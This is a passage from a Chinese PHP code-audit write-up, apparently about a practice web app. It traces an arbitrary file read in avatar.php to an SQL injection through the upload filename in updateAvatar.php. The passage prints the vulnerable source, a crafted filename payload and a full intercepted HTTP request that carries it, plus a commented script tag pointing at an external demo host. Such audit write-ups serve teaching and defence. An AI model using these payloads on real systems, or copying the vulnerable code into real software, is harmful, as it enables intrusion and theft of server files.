严重的话，就可能导致SSRF，进而漫游内网。
文件操作漏洞任意文件删除--删除lock
任意文件复制--jpg2php && php2txt
任意文件下载
任意文件读取--SSRF
任意文件写入
avatar.php
在读取头像信息时使用了file_get_contents()函数，file_get_contents() 函数是用来将文件的内容读入到一个字符串中。如果$_SESSION['avatar']可控，就有可能存在任意文件读取。
<?php error_reporting(0); session_start(); header("Content-type:image/jpeg"); echo file_get_contents($_SESSION['avatar']); ?>搜索$_SESSION['avatar']查找它的来源。 logCheck.php$_SESSION['avatar']是在登录时从数据库中读取的。
if (isset($_POST['submit']) && !empty($_POST['user']) && !empty($_POST['pass'])) { $clean_name = clean_input($_POST['user']); $clean_pass = clean_input($_POST['pass']); $query = "SELECT * FROM users WHERE user_name = '$clean_name' AND user_pass = SHA('$clean_pass')"; $data = mysql_query($query, $conn) or die('Error!!'); if (mysql_num_rows($data) == 1) { $row = mysql_fetch_array($data); $_SESSION['username'] = $row['user_name']; $_SESSION['avatar'] = $row['user_avatar']; $ip = sqlwaf(get_client_ip()); if (isset($_POST['submit']) && isset($_FILES['upfile'])) { if(is_pic($_FILES['upfile']['name'])){ $avatar = $uploaddir . '/u_'. time(). '_' . $_FILES['upfile']['name']; if (move_uploaded_file($_FILES['upfile']['tmp_name'], $avatar)) { //更新用户信息 $query = "UPDATE users SET user_avatar = '$avatar' WHERE user_id = '{$_SESSION['user_id']}'"; // "UPDATE users SET user_avatar = '1', SET user_avatar = '2' WHERE user_name = 'test'#.png"; // ',user_avatar = '2' WHERE user_name = 'test'#.png mysql_query($query, $conn) or die('update error!'); mysql_close($conn); //刷新缓存 $_SESSION['avatar'] = $avatar; header('Location: edit.php'); }$_FILES在传入时除了判断是否是图片后缀未做其他过滤。 修改update语句，设置两个set，当update语句中同时设置两个set时，只有第二个set是生效的。由于使用is_pic()函数判断是否是图片后缀，所以需要构造.png后缀，但是需要在语句执行前将.png截断。
"UPDATE users SET user_avatar = '1', SET user_avatar = '2' WHERE user_name = 'test'";开启burp，登录用户test并上传头像，找到登录包、更新图像的包和获取图像这三个数据包。 logCheck.php updateAvatar.php avatar.php
',user_avatar = '2' WHERE user_name = 'test'#.png修改上传数据包如下：filename处注入SQL语句。
POST /user/updateAvatar.php HTTP/1.1 Host: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------18467633426500 Content-Length: 332 Origin: Connection: close Referer: Cookie: PHPSESSID=44u76jo2g5t1vmp60ptau9uba2 Upgrade-Insecure-Requests: 1 DNT: 1 -----------------------------18467633426500 Content-Disposition: form-data; name="upfile"; filename="',user_avatar = '2' WHERE user_name = 'test'#.png" Content-Type: image/png -----------------------------18467633426500 Content-Disposition: form-data; name="submit" 涓婁紶 -----------------------------18467633426500--然后修改logCheck.php内容如下，当SQL语句执行出错时让其输出错误信息。
if (mysql_num_rows($data) == 1) { $row = mysql_fetch_array($data); $_SESSION['username'] = $row['user_name']; $_SESSION['avatar'] = $row['user_avatar']; $ip = sqlwaf(get_client_ip()); // <script src="http://www.code.com/csrfdemo.js"></script> $query = "UPDATE users SET login_ip = '$ip' WHERE user_id = '$row[user_id]'"; mysql_query($query, $conn) or die("mysql_error()"); //mysql错误信息输出 header('Location: user.php'); }